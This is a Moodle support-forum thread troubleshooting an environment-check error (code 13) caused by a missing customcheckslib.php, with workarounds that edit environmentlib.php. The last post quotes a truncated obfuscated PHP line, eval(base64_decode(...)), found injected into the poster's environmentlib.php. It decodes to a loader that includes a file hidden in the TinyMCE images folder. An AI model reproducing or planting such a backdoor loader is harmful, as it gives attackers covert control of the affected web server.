"Error reading environment data (13)" in Environment check

"Error reading environment data (13)" in Environment check

by Robert Allerstorfer -
Number of replies: 15
I am running Moodle 1.8.3+ and checked "Server -> Environment". On choosing "1.8.3+" all tests are OK. However, changing the version to be checked to "1.9" issues the following error under "Other Checks": Error reading environment data (13)

See this screenshot:
Attachment Moodle-1.8.3_Environment-Error.png
Average of ratings: -
In reply to Robert Allerstorfer

Re: "Error reading environment data (13)" in Environment check

by Ken Wilson -
Hi Robert

That error code (13) means CUSTOM_CHECK_FILE_MISSING (see the file moodle/lib/environmentlib.php).

From looking at the code in Moodle 1.9, there are two custom check files: moodle/question/upgrade.php and moodle/lib/customcheckslib.php.

Can you please check that the file both of these files are present in their directories and are readable by your webserver by having the correct permissions.

Thanks

Ken
In reply to Ken Wilson

Re: "Error reading environment data (13)" in Environment check

by Robert Allerstorfer -
Hi Ken,

thanks for offering help. 'question/upgrade.php' is there, but 'lib/customcheckslib.php' isn't. However, that file is also not present in the latest stable18 package. To solve this issue, we should look into 1.8's code.

Best regards,
rob.
In reply to Robert Allerstorfer

Re: "Error reading environment data (13)" in Environment check

by Robert Allerstorfer -
OK, problem found and solved.

In fact, Moodle 1.8 expects the file 'lib/customcheckslib.php' which does not ship with Moodle 1.8!

Providing it from the 1.9 bundle satisfies 1.8 mixed
This should be filed as a bug of 1.8.

Thanks Ken for your help!
In reply to Robert Allerstorfer

Re: "Error reading environment data (13)" in Environment check

by Robert Allerstorfer -
Update:

I just upgraded that Moodle from 1.8.3+ to 1.8.4+ and the problem was no longer there. So 1.8.4+ works fine and does not require customcheckslib.php. Only 1.8.3 needs it.
In reply to Robert Allerstorfer

Re: "Error reading environment data (13)" in Environment check

by Ry Mittlestadt -

I'm upgrading from 1.8.5 to 1.9.x and I get the same error!  sad

However, copying 'lib/customcheckslib.php' from 1.9 back into 1.8 seems to work!

Hope that helps anyone else running into the same problem.

In reply to Ken Wilson

Re: "Error reading environment data (13)" in Environment check

by Guillermo Caamaño -

Hi Ken:

I'm installing version 1.9 for the first time an dI have the same problem. I have already checked that both files are present in my server. What can I do?

Thanks for your help.

Guillermo

In reply to Guillermo Caamaño

Re: "Error reading environment data (13)" in Environment check

by Ken Wilson -

Hi Guillermo

I'm trying to replicate the problem - but the file is there in the download package and in CVS. Can I suggest that you please double-check permissions on the lib/customchecks.lib file, especially that the file is readable by the webserver user as this is what the code checks. If the problem still exists, try this:

  1. Open the file moodle/lib/environmentlib.php in your text editor.
  2. Option 1: Find line 550 and replace the text is_readable($file) with stat($file). Save the file and try again.
  3. Option 2: Find line 452 and remark that line out so that the call to the function which checks for the presence of the file is not done. Do this by adding two "//" at the start of the two lines so they look like this:

    //$custom_results = environment_custom_checks($version);
    //$results = array_merge($results, $custom_results);

    Save the file and try again also.

Does that improve things?

Ken

In reply to Ken Wilson

Re: "Error reading environment data (13)" in Environment check

by Richard Enison -
KW (& GC),

I think you mean lib/customcheckslib.php, as you said in your earlier post.

RLE
In reply to Richard Enison

Re: "Error reading environment data (13)" in Environment check

by Ken Wilson -
Sorry Richard, but I do mean lib/environmentlib.php - that's the script containing the code which performs an is_readable function on lib/customcheckslib.php. The objective is to check for the file existence by using a stat() instead as the is_readable function can fail, or if Guillermo is confident that the lib/customcheckslib.php file is present, to avoid the customchecks altogether.
In reply to Ken Wilson

Re: "Error reading environment data (13)" in Environment check

by Richard Enison -
KW,

I'm sorry, I wasn't specific enough. What I meant was that I thought you meant lib/customcheckslib.php instead of lib/customchecks.lib.

RLE
In reply to Richard Enison

Re: "Error reading environment data (13)" in Environment check

by Cindy Weber -

Checking your environment ...

We are checking if the various components of your system meet the system requirements

Server Checks

Name Information Report Status
php_extension xmlrpc docs.gifshould be installed and enabled for best results

Installing the optional xmlrpc extension is useful for Moodle Networking functionality.

Check
unicode docs.gifmust be installed and enabled OK
database mysql docs.gifversion 4.1.16 is required and you are running 4.1.22 OK
php docs.gifversion 4.3.0 is required and you are running 4.4.7 OK
php_extension iconv docs.gifshould be installed and enabled for best results OK
php_extension mbstring docs.gifshould be installed and enabled for best results OK
php_extension curl docs.gifshould be installed and enabled for best results OK
php_extension openssl docs.gifshould be installed and enabled for best results OK
php_extension tokenizer docs.gifshould be installed and enabled for best results OK
php_extension ctype docs.gifshould be installed and enabled for best results OK

Other Checks

Information Report Status
docs.gifError reading environment data (13) Error
You must solve all the environmental problems (errors) found above before proceeding to install this Moodle version!

I downloaded the latest version - no upgrade.  Is there a fix for this? 

Thanks!

In reply to Ken Wilson

Re: "Error reading environment data (13)" in Environment check

by Richard Wallace -
Ken

Thanks I had the same issue and using your option 3, of editing out 2 lines of code solved my problem, thanks.

Richard
In reply to Ken Wilson

Re: "Error reading environment data (13)" in Environment check

by Erdee Joy Lao -

Hello Sir,


I have the same issue "Error reading environment data (13)" and I can’t upgrade to moodle 1.9...


I checked the file "moodle/lib/environmentlib.php" and it contains some characters like this......


<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiY

haXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO

2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9lYWNhZGVteS9wdWJsaWNfaHRtbC9lbGVhcm

4vbGliL2VkaXRvci90aW55bWNlL2pzY3JpcHRzL3RpbnlfbWNlL3RoZW1lcy9hZHZhbm

NlZC9kb2NzL2VuL2ltYWdlcy9tZGxfdXRmLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob

21lL2VhY2FkZW15……


How am I going to fix this?


Thank you so much!


Joy



Attachment server_check.JPG